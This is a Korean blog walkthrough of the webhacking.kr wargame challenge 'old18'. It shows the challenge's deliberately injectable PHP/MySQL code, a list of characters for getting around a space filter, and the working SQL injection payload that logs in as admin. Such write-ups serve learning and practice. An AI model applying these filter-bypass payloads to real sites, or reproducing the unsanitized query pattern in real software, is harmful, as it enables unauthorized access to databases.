No img


[Webhacking.kr] Challenge(old)- old18

Posted by bonggang | 2020. 6. 1. 01:02

문제


https://webhacking.kr/challenge/web-32/

 

Challenge 18

 

webhacking.kr

 

문제 해설


0. 소스코드 확인

<?php
if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
  $result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2

  if($result['id']=="guest") echo "hi guest";
  if($result['id']=="admin"){
    solve(18);
    echo "hi admin!";
  }
}
?>

 

대놓고 SQLi 문제인데 php 소스코드를 확인해보면 공백, /, 괄호(), |, &, select, from, 0x를 필터링한다.

 

1. 쿼리 작성

admin's no는 2라고 주석에서 알려줬다. 그래서 먼저 2와 다른 값들을 입력폼에 입력해봤다.

그 결과 1이라고 입력할 때만 hi guest라고 나왔고 다른 값들은 반응이 없었다.

 

guest의 id 값이 1이라고 추측할 수 있다. 즉, 아래의 쿼리는 참이 되는 것이다.

select id from chall18 where id='guest' and no=1

 

하지만 지금 우리는 guest가 아닌 admin으로 접속을 해야한다.

select id from chall18 where id='guest' and no=0 or id='admin' and no=2

연산자 순서에 따르면 and가 먼저 실행되기때문에 where (id='guest' and no=0) or (id='admin' and no=2)로 묶이게 된다. 이렇게 되면 앞의 비교문은 항상 거짓이 되고 뒤에 비교문만 사실이 되기때문에 쿼리문은 admin을 반환하게 된다.

 

하지만 위의 쿼리문을 그대로 사용하면 필터링 조건에서 필터링된다(공백으로 인한 필터링)

즉, 공백을 우회하는 다른 문자열을 써줘야한다.

 

*공백 우회

/**/, %09, %0a, %0b, %0c, %0d, +, ()

참고: https://binaryu.tistory.com/31

 

select id from chall18 where id='guest' and no=0%09or%09id='admin'%09and%09no=2

결국 완성한 쿼리는 이렇게 된다.

 

2. SQLi

쿼리를 작성했으니 GET 방식으로 작성한 쿼리를 완성시켜준다.

입력값: 0%09or%09id='admin'%09and%09no=2

 

결과

0%09or%09id='admin'%09and%09no=2
2%09or%09id='admin'%09and%09no=2

 

+) 번외

no=1이 될 경우 쿼리 값이 참이되기 때문에 hi guest가 뜬다!

 

 

참고 자료


https://kyungjun2.tistory.com/34#recentComments